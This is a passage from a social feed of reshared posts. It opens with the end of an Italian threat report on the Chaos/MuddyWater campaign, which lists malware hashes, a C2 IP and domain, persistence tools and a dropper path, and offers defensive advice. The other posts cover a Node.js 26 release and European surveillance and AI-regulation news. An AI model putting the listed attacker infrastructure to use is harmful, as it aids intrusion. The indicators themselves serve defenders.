Questo incidente si inserisce in una tendenza documentata: i gruppi APT state-sponsored stanno deliberatamente adottando le TTP del cybercrime organizzato per offuscare l’attribuzione. Replicando le tecniche dei RaaS o acquistando accesso alle loro infrastrutture, attori come MuddyWater possono far apparire operazioni di spionaggio geopolitico come semplici attacchi a scopo di lucro, complicando la risposta diplomatica e legale. Il caso Chaos/MuddyWater è solo l’esempio più recente di questa convergenza, che era già emersa con attori nordcoreani (Lazarus) e russi (Sandworm) in operazioni precedenti.

Indicatori di Compromissione (IoC)

# Hash - WebView2Loader.dll (legittimo DLL trojanizzato)
SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a

# Hash - Game.exe (RAT principale)
SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6

# Hash - visualwincomp.txt (configurazione cifrata)
SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0

# C2 IP
172.86.126[.]208:443

# C2 Dominio
moonzonet[.]com

# Strumenti di persistenza
DWAgent, AnyDesk

# Path dropper
C:\ProgramData\ms_upd.exe

Due righe per i difensori


  • Limitare le chat esterne su Microsoft Teams: bloccare o richiedere approvazione esplicita per le chat provenienti da tenant esterni non trusted.
  • Monitorare sessioni di screen-sharing anomale: alertare su sessioni avviate da contatti esterni non verificati, specialmente se combinano condivisione schermo e richieste di credenziali.
  • Audit degli strumenti di accesso remoto: inventariare DWAgent, AnyDesk e simili; bloccare installazioni non approvate tramite policy di endpoint management.
  • MFA phishing-resistant: passare da TOTP/SMS a FIDO2/passkey per eliminare la superficie di attacco della manipolazione MFA via social engineering.
  • Non fermarsi all’etichetta ransomware: in caso di attacco ransomware senza cifratura o con anomalie comportamentali, considerare sempre la possibilità di una false flag operation state-sponsored.


The Pirate Post ha ricondiviso questo.

Le #PJLFraudes a été voté cette semaine à l'Assemblée, et devrait l'être la semaine prochaine au Sénat. Sa direction anti-sociale que nous dénoncions en fin d'année dernière n'a pas évoluée. Pire, un article de ce projet de loi veut étendre le droit de communication aux départements. On vous explique ce que c'est et en quoi cela va accentuer la pression sur les plus précaires. ⬇️

laquadrature.net/2026/05/07/pr…

reshared this

in reply to La Quadrature du Net

Depuis 2008, ce droit de communication est sans cesse étendu. Le #PJLFraudes n'est que la continuité d'une politique qui suppose que les pauvres sont des fraudeur·euses en puissance. Le fameux fantasme de l'« assisté·e » cher à la droite et à l'extrême droite. Alors pour nous aider à continuer de lutter, vous pouvez, si vous en avez les moyens, nous faire un don.

laquadrature.net/donner

Questa voce è stata modificata (1 mese fa)

Siam reshared this.

The Pirate Post ha ricondiviso questo.

Wann setzt Europa seine Digitalgesetze gegen Tech-Konzerne durch? Die EU-Kommission knickt ein, fürchten Abgeordnete und Vertreter:innen der Zivilgesellschaft. Nun wollen sie Kommissionspräsidentin Ursula von der Leyen Beine machen. netzpolitik.org/2026/verfahren…
The Pirate Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Node.js 26.0.0: Temporal API di default, V8 14.6 e rimozione delle API legacy
#tech
spcnet.it/node-js-26-0-0-tempo…
@informatica


Node.js 26.0.0: Temporal API di default, V8 14.6 e rimozione delle API legacy


Il 5 maggio 2026 il team di Node.js ha rilasciato la versione 26.0.0, denominata “Current”, che introduce cambiamenti significativi alla piattaforma runtime JavaScript server-side più diffusa al mondo. Node.js 26 entrerà in Long-Term Support (LTS) nell’ottobre 2026: da quel momento sarà la release raccomandata per ambienti di produzione. Nel frattempo, i sei mesi di status “Current” sono il momento ideale per esplorare le novità e valutare l’impatto sulle proprie applicazioni.

Temporal API abilitata di default


La novità più attesa di Node.js 26 è l’abilitazione di default della Temporal API, la moderna API JavaScript per la gestione di date e orari. Per anni, la community ha convissuto con i limiti dell’oggetto Date: mancanza di supporto per i fusi orari, comportamenti incoerenti, mutabilità non controllata, e risultati controintuitivi in molti scenari di internazionalizzazione.

Temporal risolve tutti questi problemi alla radice, introducendo un sistema di tipi ricco e immutabile:

  • Temporal.PlainDate: una data senza orario né fuso orario
  • Temporal.PlainTime: un orario senza data né fuso orario
  • Temporal.PlainDateTime: data e orario senza fuso orario
  • Temporal.ZonedDateTime: data e orario con fuso orario esplicito
  • Temporal.Instant: un momento preciso nel tempo (come un timestamp Unix)
  • Temporal.Duration: un intervallo di tempo

Ecco un esempio pratico di come Temporal semplifica operazioni che con Date richiedevano librerie esterne come Luxon o date-fns:

// Ottenere la data di oggi in un fuso orario specifico
const oggi = Temporal.Now.plainDateISO('Europe/Rome');
console.log(oggi.toString()); // "2026-05-07"

// Aggiungere 30 giorni senza preoccuparsi dei mesi
const traThentaGiorni = oggi.add({ days: 30 });
console.log(traThentaGiorni.toString()); // "2026-06-06"

// Calcolare la differenza tra due date
const inizio = Temporal.PlainDate.from('2026-01-01');
const fine = Temporal.PlainDate.from('2026-12-31');
const differenza = inizio.until(fine);
console.log(differenza.days); // 364

// Lavorare con fusi orari in modo esplicito
const appuntamento = Temporal.ZonedDateTime.from({
  year: 2026,
  month: 5,
  day: 15,
  hour: 14,
  minute: 30,
  timeZone: 'America/New_York'
});
const inRoma = appuntamento.withTimeZone('Europe/Rome');
console.log(inRoma.toLocaleString('it-IT'));

Fino a Node.js 25, Temporal era disponibile ma richiedeva il flag --harmony-temporal. Ora è parte integrante del runtime e non serve alcuna configurazione aggiuntiva.

V8 14.6: due nuove proposte TC39


Il motore JavaScript V8 è stato aggiornato alla versione 14.6.202.33 (Chromium 146), portando con sé due importanti proposte TC39 ora disponibili nativamente:

Upsert: Map.prototype.getOrInsert()


La proposta Upsert introduce i metodi getOrInsert() e getOrInsertComputed() su Map e WeakMap. Si tratta di un pattern molto comune nello sviluppo: controllare se una chiave esiste in una mappa, e se non esiste, inserire un valore di default e restituirlo.

// Prima di Node.js 26 - verboso e ripetitivo
function getOrCreate(map, key, defaultValue) {
  if (!map.has(key)) {
    map.set(key, defaultValue);
  }
  return map.get(key);
}

const cache = new Map();
const utenti = getOrCreate(cache, 'admin', []);
utenti.push('mario');

// Con Node.js 26 - conciso e leggibile
const cache = new Map();
const utenti = cache.getOrInsert('admin', []);
utenti.push('mario');

// Versione con factory function (lazy initialization)
const grandi = cache.getOrInsertComputed('admin', (key) => {
  return recuperaUtentiDalDb(key); // calcolato solo se necessario
});

Iterator sequencing: Iterator.concat()


La proposta Iterator sequencing introduce Iterator.concat(), che permette di concatenare più iteratori senza materializzarli tutti in memoria contemporaneamente:

// Concatenare lazily più sorgenti di dati
const paginaUno = [1, 2, 3][Symbol.iterator]();
const paginaDue = [4, 5, 6][Symbol.iterator]();
const paginaTre = [7, 8, 9][Symbol.iterator]();

const tuttiGliElementi = Iterator.concat(paginaUno, paginaDue, paginaTre);
for (const elemento of tuttiGliElementi) {
  console.log(elemento); // 1, 2, 3, 4, 5, 6, 7, 8, 9
}

Undici 8.0: il client HTTP di nuova generazione


La libreria Undici, il client HTTP integrato in Node.js, è stata aggiornata alla versione 8.0.2. Undici è il motore dietro fetch() nativo in Node.js ed è progettato per prestazioni e correttezza del protocollo HTTP/1.1 e HTTP/2. La versione 8 porta miglioramenti all’implementazione di WebSocket, gestione delle connessioni e supporto per proxy avanzati.

Deprecazioni e rimozioni importanti


Come ogni major version, Node.js 26 rimuove API che erano state deprecate nelle versioni precedenti. Ecco le più impattanti:

Rimozione di http.Server.prototype.writeHeader()


Il metodo writeHeader() è stato definitivamente rimosso. Era già deprecato da anni: la forma corretta è writeHead().

// ❌ Non funziona più in Node.js 26
res.writeHeader(200, { 'Content-Type': 'application/json' });

// ✅ Forma corretta
res.writeHead(200, { 'Content-Type': 'application/json' });

Rimozione dei moduli legacy _stream_*


I moduli interni _stream_wrap, _stream_readable, _stream_writable, _stream_duplex, _stream_transform e _stream_passthrough sono stati rimossi definitivamente. Se li state importando direttamente (cosa sconsigliata ma ancora diffusa in codice datato), dovete migrare all’API pubblica:

// ❌ Non funziona più
const { Readable } = require('_stream_readable');

// ✅ Sempre corretto
const { Readable } = require('stream');
// o con ESM:
import { Readable } from 'node:stream';

Rimozione di –experimental-transform-types


Il flag --experimental-transform-types, che abilitava la trasformazione automatica dei tipi TypeScript a runtime, è stato rimosso. Per eseguire TypeScript in Node.js, la raccomandazione ufficiale rimane l’uso di --experimental-strip-types (disponibile dalla v22.6+) oppure di tool dedicati come tsx o ts-node.

Deprecazioni runtime


Diverse API passano ora a deprecazione a runtime, il che significa che genereranno un avviso quando utilizzate, senza però bloccare l’esecuzione:

  • module.register() — deprecato in favore di import.meta.url patterns
  • Alcune API crypto (DEP0203, DEP0204) legate a formati di chiavi obsoleti
  • Alcune API stream (DEP0201)


Come aggiornare


Per installare Node.js 26 tramite nvm:

nvm install 26
nvm use 26
node --version  # v26.0.0

Con fnm:
fnm install 26
fnm use 26

Prima di aggiornare i progetti in produzione, si raccomanda di:
  1. Verificare che tutte le dipendenze siano compatibili con Node.js 26 (controllate le note di release dei principali package)
  2. Cercare nel codice le API rimosse: writeHeader, _stream_*, --experimental-transform-types
  3. Testare il comportamento della Temporal API se il vostro codice ha workaround per Date
  4. Abilitare i log delle deprecazioni runtime con NODE_OPTIONS='--trace-deprecation'


Conclusioni


Node.js 26 è una release di maturazione: la Temporal API è finalmente pronta per la produzione, V8 14.6 porta proposte TC39 da lungo tempo attese, e le rimozioni puliscono la piattaforma dagli artefatti del passato. Per chi lavora su progetti Node.js, questo è il momento di iniziare i test su questa versione in vista dell’ingresso in LTS di ottobre 2026.

Fonte: Node.js 26.0.0 Release Notes — nodejs.org, 5 maggio 2026


The Pirate Post ha ricondiviso questo.

📊 Vor einem Jahr veröffentlichte das Max-Planck-Institut zur Erforschung von Kriminalität, Sicherheit und Recht die erste „Überwachungsgesamtrechnung“ – eine Analyse der Überwachungsbefugnisse und -maßnahmen der Sicherheits- und Strafverfolgungsbehörden in Deutschland.

Viele Behörden seien allerdings nicht in der Lage gewesen, belastbare Daten über die von ihnen durchgeführten Maßnahmen bereitzustellen – ein Umstand, der eine transparente Debatte erheblich erschwert.

🔗 csl.mpg.de/813252/ueberwachung…

in reply to Stiftung Datenschutz

📌 Doch was hat sich seitdem getan?

Die Überwachung in verschiedenen Lebensbereichen hat weiter zugenommen. So hat das Bundeskabinett ein Gesetzespaket zur digitalen Rasterfahndung auf den Weg gebracht.

Vorgesehen sind unter anderem ein biometrischer Internetabgleich sowie KI-gestützte Analysen von Polizeidaten. Der Gesetzentwurf wird im Bundestag und Bundesrat beraten.

🔗 heise.de/news/Digitale-Rasterf…

in reply to Stiftung Datenschutz

Die geplante Datenanalyse, bei der Informationen aus zahlreichen Quellen zusammengeführt werden, könnte umfassende Persönlichkeitsprofile ermöglichen und stößt auf Kritik.

@netzpolitik_feed berichtet, dass KI-Systeme mit persönlichen Daten trainiert werden sollen – teilweise ohne Anonymisierung und in Kooperation mit privaten Unternehmen.

🔗 netzpolitik.org/2026/faq-das-u…

👉 Jetzt ist ein guter Zeitpunkt, sich die Überwachungsgesamtrechnung noch einmal genauer anzusehen.

#TeamDatenschutz

reshared this

The Pirate Post ha ricondiviso questo.

#Meta will uns bis auf die Knochen überwachen – literally! ☠️🦴

Auf der Suche nach Minderjährigen will Meta Nutzer*innen auf Facebook und Instagram umfassend durchleuchten. Eine als KI bezeichnete Software soll unter anderem die Knochenstruktur abgebildeter Personen in Fotos und Videos auswerten.

Warum macht Meta das? Ist das neu? Dürfen die das?

Lest hier meine Analyse @netzpolitik_feed

netzpolitik.org/2026/du-siehst…

The Pirate Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

1/3 🚨 Early this morning, EU lawmakers sealed the deal on the EU's #AIOmnibus.

The outcome of the final negotiations is not surprising, given the massive #deregulation push from parts of the European Commission, the German government, industry actors, and some lawmakers.

But it is still deeply disappointing 🙅🏽‍♀️

With this morning's deal, we will have... 🧵

in reply to EDRi

2/3 🚫 A delay to key high-risk AI obligations, weakening accountability of those developing, selling or deploying AI systems

🚫 A watering down of protections against some risky and harmful AI systems, including through a carve-out for industrial AI

🚫 Less legal certainty, as compliance with important safeguards is postponed and parts of the framework become more fragmented

🚫 A worrying precedent for reopening hard-won #DigitalRights protections before they have even had the chance to apply

in reply to EDRi

3/3 The message is clear: when powerful actors complain loudly enough, safeguards can be recast as burdens and rules that protect people can be reopened.

❤️‍🩹 This does not make the EU digital rulebook simpler. It makes it weaker, harder to enforce, and less protective of people’s rights.

It also confirms a dangerous direction of travel: companies are being given more space to mark their own homework, while #FundamentalRights, justice and democratic oversight are pushed further to the margins.

reshared this

The Pirate Post ha ricondiviso questo.

Auf der Suche nach Minderjährigen will Meta Nutzer*innen auf Facebook und Instagram umfassend durchleuchten. Der Konzern will sogar die Knochenstruktur von Menschen auf Fotos auswerten. Wie gefährlich ist das? Die Analyse @sebmeineck

netzpolitik.org/2026/du-siehst…

The Pirate Post ha ricondiviso questo.

#Web3privacy now throws some of the best meetups, workshops, and gatherings dedicated to building tech that doesn't watch you back.

No hype. No surveillance sales pitches. Just builders, thinkers, and tinkerers mapping the road to digital autonomy.

📍 See what's happening near you (or online):
🔗 web3privacy.info/events

𝘉𝘦𝘤𝘢𝘶𝘴𝘦 𝘵𝘩𝘦 𝘧𝘶𝘵𝘶𝘳𝘦 𝘰𝘧 𝘵𝘩𝘦 𝘸𝘦𝘣 𝘴𝘩𝘰𝘶𝘭𝘥𝘯'𝘵 𝘳𝘦𝘲𝘶𝘪𝘳𝘦 𝘢 𝘣𝘢𝘤𝘬𝘨𝘳𝘰𝘶𝘯𝘥 𝘤𝘩𝘦𝘤𝘬.

The Pirate Post reshared this.

The Pirate Post ha ricondiviso questo.

Das „Schwarze Loch“ für die unregulierte Datenanalyse: Europol entzog eine mutmaßlich illegale Schatten-IT jahrelang der Kontrolle. Dennoch will die EU-Kommission Europol nun mit deutlich mehr Budget und Personal ausstatten netzpolitik.org/2026/correctiv…
The Pirate Post ha ricondiviso questo.

Das war ja klar, dass in Baden-Württemberg unter Özdemir und Hagel ein Ausbau der Überwachung zu erwarten ist. Aber dass dann gleich alle Hemmschwellen fallen ... Im Koalitionsvertrag versprechen die Herren, in drei Städten Videokameras zu installieren, die gleichzeitig Verhalten und Gesichter erkennen können. Die Kombination beider Technologien galt bislang als unvermittelbar, weil jede einzelne schon so tief in die Persönlichkeitsrechte eingreift. Aber naja, da sind wir. netzpolitik.org/2026/koalition…
The Pirate Post ha ricondiviso questo.

Grün-Schwarz will in Baden-Württemberg als erstem Bundesland doppelte KI-Videoüberwachung ausrollen: Kameras, die Menschen auf verdächtiges Verhalten überprüfen und sie gleichzeitig mit Gesichtserkennung analysieren. In Mannheim und zwei weiteren Städten soll das Pilotprojekt starten. netzpolitik.org/2026/koalition…